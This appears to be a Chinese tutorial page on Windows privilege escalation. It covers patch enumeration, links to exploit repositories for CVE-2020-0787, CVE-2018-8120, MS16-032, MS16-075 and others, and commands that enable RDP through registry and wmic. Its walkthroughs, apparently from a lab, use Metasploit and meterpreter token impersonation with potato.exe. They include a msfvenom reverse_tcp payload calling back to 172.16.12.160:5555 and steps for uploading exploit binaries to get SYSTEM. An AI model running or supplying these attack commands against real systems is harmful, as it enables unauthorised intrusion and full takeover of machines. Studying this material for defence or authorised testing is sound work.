跳到主要内容

windows系统漏洞提权

系统漏洞提权一般就是利用系统自身缺陷,用来提升权限(不稳定,exp放入运行,机器死机) 为了方便使用,windows和linux系统均有提权用的可执行文件

image-20221107091716606

补丁收集

收集操作系统已安装的补丁信息

systeminfo
wmic qfe get Caption, Description, HotFixID, Installedon

在线网站查找补丁对应的漏洞号

http://blog.neargle.com/win-powerup-exp-index/ https://i.hacking8.com/tiquan/(新版) http://bugs.hacking8.com/tiquan/(老版)

Windows提权exp合集

https://github.com/Ascotbe/Kernelhub(新) https://github.com/SecWiki/windows-kernel-exploits(老)

开启3389方式

1.通用开3389(优化后): wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 2.For Win2003: REG ADD HKLM\SYSTEM\CurrentcontrolSet\Control\Terminal""Server/v fDenyTSConnections/t REG_DWORD/d 000000000 /f 3.For Win2008: REG ADD HKLM\SYSTEM\currentcontrolSet\control\Terminal""Server/v fDenyTsconnections/t REG_DWORD/d 00000000 /f 4.For Every: cmd开3389 win08 win03 win7 win2012 winxp win08,三条命令即可: win2012通用;win7前两条即可。权限需要run as administrator。

wmic /namespace:\root\cimv2 erminalservices path win32_terminalservicesetting where(_CLASS!="")call
set allowtsconnections 1
wmic /namespace:\root\cimv2 erminalservices path win32_tsgeneralsetting where(TerminalName='RDP-Tcp')
call
set userauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentcontrolSet\Control\Terminal Server" /v fsinglesessionPeruser /t REG_DWORD /d 0 /f

5.msf

meterpreter> run post/windows/manage/enable_rdp

漏洞提权示例

CVE-2020-0787

漏洞背景:Backgroundlntelligent TransferService(BITS)是其中的一个后台智能传输服务组件。BITS中存在提权漏洞,该漏洞源于该服务无法正确处理符号链接。攻击者可通过执行特制的应用程序利用该漏洞覆盖目标文件,提升权限。

漏洞危害:影响windows全版本

利用条件:需要交互式shell

exp下载地址:https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION

CVE-2018-8120

漏洞背景:CVE-2018-8120是Windows操作系统Win32k的内核提权漏洞IWindows系统win32k.sys组件的NtUserSetlmelnfoEx() 系统服务函数内部未验证内核对象中的空指针对象,普通应用程序可利用该空指针漏洞以内核权限执行任意代码。

漏洞危害:Windows7 SP1/2008 SP2,2008 R2 SP1

exp下载地址:https://github.com/SecWiki/windows-kernel-exploits/blob/master/CVE-2018-8120

利用条件:需要交互式shell

漏洞验证: Msf集成了该漏洞的payload,当msf反弹会话后,执行下面命令

use exploit /windows/local/ms18_8120_win32k_privesc
set payload windows/x64/meterpreter/reverse_tcp
set SESSION 1
exploit

CVE-2019-0803

漏洞背景:Win32k 组件无法正确处理内存中的对象时,可导致特权提升。成功利用此漏洞的攻击者可以在内核模式中运行任意代码、安装任意程序、查看、更改或删除数据、或者创建拥有完全用户权限的新帐户。

exp 下载地址https://github.com/ExpLife0011/CVE-2019-0803

MS16-032

直接利用ms16-032.exe文件执行命令即为system权限

image-20221107185232620

MS16-075(烂土豆)

漏洞背景

WindowsSMB 服务器特权提升漏洞,当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞,成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。

漏洞危害:windows2003/2008/7/8/2012/10 all-version

exp 下载地址

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

https://github.com/admintony/Windows-Exploit(已集成ms16-075令牌窃取功能利用)

Windows有两种类型的Token

  • Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)
  • Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)

Windows访问令牌 描述进程或者线程安全上下文的一个对象,不同的用户登录计算机后,都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用,不断的拷贝,这也就解释了A用户创建一个进程而该进程没有B用户的权限,一般用户双击运行一个进程都会拷贝explorer.exe的Access Token.访问令牌分为

  • 授权令牌(Delegation token):交互式会话登陆(例:本地用户登陆、用户桌面等)
  • 模拟令牌(Impersonation token):非交互式登陆(例:net use访问共享文件)

两种token只有在系统重启后才会清除;具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效

同样也可以这样理解,当前系统中的某个进程或线程能访间到什么样的系统资源,完全取决于你当前进程是拿着谁的令牌

默认情况下,我们列举令牌,只能列举出当前用户和比当前用户权限更低用户的令牌。令牌的数量取决于当前shell的访问级别,如果当前的shell是administrator或者是system,我们就可以看到系统中的所有的令牌。

我们通过exp提权或者永恒之蓝等得到的权限即为System,假如我们利用mimikatz和hashdump不能获得administrator用户的密码,那我们只能通过令牌窃取进行降权,获得administrator用户的shell,从而以administrator用户的身份启动某些服务(因为某些服务只能通过administrator用户启动)

meterpreter > execute -cH -f "potato.exe" #利用meterpreter命令执行不弹窗的potato.exe文件(有概率窃取不到,多尝试)
meterpreter > load incognito #加载incognito插件,use同理,选择其中一个
meterpreter > use incognito
meterpreter > list_tokens -u #验证是否窃取到令牌,若没有则再次执行potato.exe
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM" #伪造令牌
meterpreter > getuid #查看当前权限
meterpreter > rev2self #还原原本令牌

image-20221107182615486

复现案例

以下为手工案例,也可使用msf进行利用

监听端口

handler -H 0.0.0.0 -P 4444 -p windows/x64/meterpreter/reverse_tcp

反弹ip

image-20221107233310999

execute -cH -f "potato.exe"
meterpreter > load incognito
meterpreter > list_tokens -u #验证是否窃取到令牌,若没有则再次执行potato.exe
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM" #伪造令牌
meterpreter > getuid #查看当前权限

image-20221107233221965

windows2008系统提权

systeminfo发现系统安装了KB976902补丁,或者wmic qfe get Caption, Description, HotFixID, Installedon

image-20221107120741482

搜索对应的补丁查可能存在的漏洞

MS16-032

将032.exe上传到服务器中,利用该exe文件执行system命令

直接利用032.exe文件执行命令即为system权限

image-20221107201527828

MS14-058

将MS14-058的Win64.exe上传到服务器中,利用该exe文件执行system命令

直接利用Win64.exe文件执行命令即为system权限

image-20221107203719591

MS15-051

将MS15-051的ms15-051.exe上传到服务器中,利用该exe文件执行system命令

直接利用ms15-051.exe文件执行命令即为system权限

image-20221107203908468

windows2012系统提权

MS16-032

将032.exe上传到服务器中,利用该exe文件执行system命令

直接利用032.exe文件执行命令即为system权限

image-20221107185232620

MS16-075

msf生成反弹程序(rev.exe)

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.12.160 lport=5555 -f exe -o rev.exe

image-20221107183243451

将rev.exe文件上传到服务器中,利用msf的multi/handler模块进行监听,然后执行rev.exe文件

image-20221107183445808

查看权限,当前权限为NT AUTHORITY\NETWORK权限

将MS16-075的窃取令牌文件(potato.exe)上传到服务器中,然后利用meterpreter的execute执行程序(potato.exe)且不弹窗,然后加载incognito插件

execute -cH -f "potato.exe"
meterpreter > load incognito
meterpreter > list_tokens -u #验证是否窃取到令牌,若没有则再次执行potato.exe
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM" #伪造令牌
meterpreter > getuid #查看当前权限

image-20221107184207214

MS15-077

将elevator.exe上传到网站,直接利用该文件执行命令即可

image-20221107235332692